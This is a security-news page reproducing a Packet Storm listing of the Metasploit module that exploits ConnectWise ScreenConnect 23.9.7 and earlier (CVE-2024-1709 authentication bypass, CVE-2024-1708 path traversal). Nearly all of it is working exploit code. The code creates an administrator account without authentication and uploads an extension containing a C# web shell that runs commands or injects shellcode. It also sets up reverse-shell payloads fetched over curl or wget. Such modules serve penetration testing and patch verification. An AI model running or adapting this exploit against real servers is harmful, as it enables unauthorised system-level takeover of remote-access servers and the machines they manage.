Security
Headlines
HeadlinesLatestCVEs

Headline

ConnectWise ScreenConnect 23.9.7 Unauthenticated Remote Code Execution

This Metasploit module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage this to achieve remote code execution by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7 and below are affected.

Packet Storm
#vulnerability#web#windows#microsoft#ubuntu#linux#js#git#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ConnectWise ScreenConnect Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create          a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage          this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7          and below are affected.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF RCE Exploit          'WatchTowr', # Auth Bypass PoC        ],        'References' => [          ['CVE', '2024-1708'], # Path traversal when extracting zip file.          ['CVE', '2024-1709'], # Auth bypass to create admin account.          ['URL', 'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8'], # Vendor Advisory          ['URL', 'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/'], #  Auth Bypass PoC          ['URL', 'https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass'] #  Analysis of both CVEs        ],        'DisclosureDate' => '2024-02-19',        'Platform' => %w[win linux unix],        'Arch' => [ARCH_X64, ARCH_CMD],        'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows, root on Linux.        'Targets' => [          [            # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:            # windows/x64/meterpreter/reverse_tcp            'Windows In-Memory', {              'Platform' => 'win',              'Arch' => ARCH_X64            }          ],          [            # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:            # cmd/windows/http/x64/meterpreter/reverse_tcp            'Windows Command', {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'DefaultOptions' => {                'FETCH_COMMAND' => 'CURL',                'FETCH_WRITABLE_DIR' => '%TEMP%'              }            }          ],          [            # Tested ScreenConnect 20.3.31734 on Ubuntu 18.04.6 with payloads:            # cmd/linux/http/x64/meterpreter/reverse_tcp            # cmd/unix/reverse_bash            'Linux Command', {              'Platform' => %w[linux unix],              'Arch' => ARCH_CMD,              'DefaultOptions' => {                'FETCH_COMMAND' => 'WGET',                'FETCH_WRITABLE_DIR' => '/tmp'              }            }          ]        ],        'DefaultOptions' => {          'RPORT' => 8040,          'SSL' => false,          'EXITFUNC' => 'thread'        },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS,            CONFIG_CHANGES,            # The existing administrator account will be replaced            ACCOUNT_LOCKOUTS          ]        }      )    )    register_options([      OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alpha_lower(8)]),      OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(16)])    ])  end  def check    # This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and    # a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint    # expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive    # we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and    # will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include    # the Server header, which we use to confirm both ScreenConnect and the version number.    host_aspx = 'Host.aspx'    host_aspx = loop do      jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join      break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx    end    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, host_aspx)    )    return CheckCode::Unknown('Connection failed') unless res    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404    platform = res.code == 302 ? 'Windows' : 'Linux'    if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(\d+\.\d+.\d+)})      detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}."      if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('23.9.7')        return CheckCode::Appears(detected)      end      return CheckCode::Safe(detected)    end    CheckCode::Unknown  end  def exploit    # Sanity check the USERNAME and PASSWORD will meet the servers password requirements.    fail_with(Failure::BadConfig, 'USERNAME must not be empty.') if datastore['USERNAME'].empty?    fail_with(Failure::BadConfig, 'PASSWORD must be 8 characters of more.') if datastore['PASSWORD'].length < 8    #    # 1. Begin the setup wizard using the vulnerability to access the SetupWizard.aspx page.    #    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/')    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply when initiating setup wizard.')    end    viewstate, viewstategen = get_viewstate(res)    unless viewstate && viewstategen      fail_with(Failure::UnexpectedReply, 'Did not locate the view state after initiating setup wizard.')    end    #    # 2. Advance to the next step in the setup.    #    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),      'vars_post' => {        '__EVENTTARGET' => '',        '__EVENTARGUMENT' => '',        '__VIEWSTATE' => viewstate,        '__VIEWSTATEGENERATOR' => viewstategen,        'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton' => 'Next'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from first step in setup wizard.')    end    viewstate, viewstategen = get_viewstate(res)    unless viewstate && viewstategen      fail_with(Failure::UnexpectedReply, 'Did not locate the view after first step in setup wizard.')    end    #    # 3. Create a new administrator account.    #    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),      'vars_post' => {        '__EVENTTARGET' => '',        '__EVENTARGUMENT' => '',        '__VIEWSTATE' => viewstate,        '__VIEWSTATEGENERATOR' => viewstategen,        'ctl00$Main$wizard$userNameBox' => datastore['USERNAME'],        'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: datastore['USERNAME']).to_s,        'ctl00$Main$wizard$passwordBox' => datastore['PASSWORD'],        'ctl00$Main$wizard$verifyPasswordBox' => datastore['PASSWORD'],        'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton' => 'Next'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from create account step in setup wizard.')    end    print_status("Created account: #{datastore['USERNAME']}:#{datastore['PASSWORD']} (Note: This account will not be deleted by the module)")    #    # 4. Log in with this account to get an authenticated HTTP session.    #    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'Administration'),      'keep_cookies' => true,      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to login with admin credentials.')    end    if res.body =~ %r{"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"}      anti_forgery_token = Regexp.last_match(1)    else      # The antiForgeryToken is not present in older versions of ScreenConnect (Tested with 20.3.31734).      print_warning('Could not locate anti forgery token after login with admin credentials.')      anti_forgery_token = ''    end    #    # 5. Create an extension to host the payload.    #    # NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want, so we use    # Faker::Internet.uuid instead.    plugin_guid = Faker::Internet.uuid    payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx"    # According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are    # the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for    # use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly    # generate a valid keyword.    vars = Rex::RandomIdentifier::Generator.new({      forbidden: %w[        abstract add alias and args as ascending async await        base bool break by byte case catch char checked class const continue decimal default delegate descending do        double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get        global goto group if implicit in init int interface internal into is join let lock long managed nameof        namespace new nint not notnull nuint null object on operator or orderby out override params partial private        protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof        stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort        using value var virtual void volatile when where while with yield      ]    })    if target['Arch'] == ARCH_CMD      payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>using System;using System.Web;using System.Diagnostics;public class #{vars[:var_handler_class]} : IHttpHandler{  public void ProcessRequest(HttpContext #{vars[:var_ctx]})  {    if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {      return;    }    byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);    string #{vars[:var_payload]} = System.Text.Encoding.UTF8.GetString(#{vars[:var_bytearray]});    ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo();    #{vars[:var_psi]}.FileName = "#{target['Platform'] == 'win' ? 'cmd.exe' : '/bin/sh'}";    #{vars[:var_psi]}.Arguments = "#{target['Platform'] == 'win' ? '/c' : '-c'} \\\"" + #{vars[:var_payload]} + "\\\"";    #{vars[:var_psi]}.RedirectStandardOutput = true;    #{vars[:var_psi]}.UseShellExecute = false;    Process.Start(#{vars[:var_psi]});  }  public bool IsReusable { get { return true; } }})    else      payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>using System;using System.Web;using System.Diagnostics;using System.Runtime.InteropServices;public class #{vars[:var_handler_class]} : IHttpHandler{  [System.Runtime.InteropServices.DllImport("kernel32")]  private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);  [System.Runtime.InteropServices.DllImport("kernel32")]  private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);  public void ProcessRequest(HttpContext #{vars[:var_ctx]})  {    if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {      return;    }    byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);    IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40);    Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length);    IntPtr #{vars[:var_thread_id]} = IntPtr.Zero;    CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]});  }  public bool IsReusable { get { return true; } }})    end    manifest_data = %(<?xml version="1.0" encoding="utf-8"?><ExtensionManifest>  <Version>#{Faker::App.version}</Version>  <Name>#{Faker::App.name}</Name>  <Author>#{Faker::Name.name}</Author>  <ShortDescription>#{Faker::Lorem.sentence}</ShortDescription>  <Components>    <WebServiceReference SourceFile="#{payload_ashx}"/>  </Components></ExtensionManifest>)    zip_resources = Rex::Zip::Archive.new    zip_resources.add_file("#{plugin_guid}/Manifest.xml", manifest_data)    # We can leverage CVE-2024-1708 to write one level below the extension directory. This enable Linux targets to work.    zip_resources.add_file("#{plugin_guid}/../#{payload_ashx}", payload_data)    #    # 6. Upload the payload extension.    #    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'InstallExtension'),      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => "[\"#{Base64.strict_encode64(zip_resources.pack)}\"]",      'headers' => {        'X-Anti-Forgery-Token' => anti_forgery_token      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to install extension.')    end    print_status("Uploaded Extension: #{plugin_guid}")    if target['Platform'] == 'win'      # On Windows the current working directory is C:\Windows\System32\ and we dont leak out the install path      # so we use the default installation location...      register_files_for_cleanup("C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\#{payload_ashx}")    else      # For Linux the current working is the install path (/opt/screenconnect) so we can use a relative path...      register_files_for_cleanup("App_Extensions/#{payload_ashx}")    end    begin      #      # 7. Trigger the payload by requesting the extensions .ashx file.      #      if target['Arch'] == ARCH_CMD        payload_data = payload.encoded.gsub('\\', '\\\\\\\\')      else        payload_data = payload.encoded      end      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'App_Extensions', payload_ashx),        'keep_cookies' => true,        'vars_post' => {          vars[:var_payload_key] => Base64.strict_encode64(payload_data)        }      )      unless res&.code == 200        fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to trigger payload.')      end    ensure      #      # 8. Ensure we remove the extension when we are done.      #      print_status("Removing Extension: #{plugin_guid}")      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'UninstallExtension'),        'keep_cookies' => true,        'ctype' => 'application/json',        'data' => "[\"#{plugin_guid}\"]",        'headers' => {          'X-Anti-Forgery-Token' => anti_forgery_token        }      )      unless res&.code == 200        print_warning('Failed to remove the extension.')      end    end  end  def get_viewstate(res)    vs_input = res.get_html_document.at('input[name="__VIEWSTATE"]')    unless vs_input&.key? 'value'      print_error('Did not locate the __VIEWSTATE.')      return nil    end    vsgen_input = res.get_html_document.at('input[name="__VIEWSTATEGENERATOR"]')    unless vsgen_input&.key? 'value'      # The __VIEWSTATEGENERATOR is not present in older versions of ScreenConnect (Tested with 20.3.31734).      print_warning('Did not locate the __VIEWSTATEGENERATOR.')      return [vs_input['value'], '']    end    [vs_input['value'], vsgen_input['value']]  endend

Related news

February 2024: Vulremi, Vuldetta, PT VM Course relaunch, PT TrendVulns digests, Ivanti, Fortinet, MSPT, Linux PW

Hello everyone! In this episode, I will talk about the February updates of my open source projects, also about projects at my main job at Positive Technologies and interesting vulnerabilities. Alternative video link (for Russia): https://vk.com/video-149273431_456239140 Let’s start with my open source projects. Vulremi A simple vulnerability remediation utility, Vulremi, now has a logo and […]

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6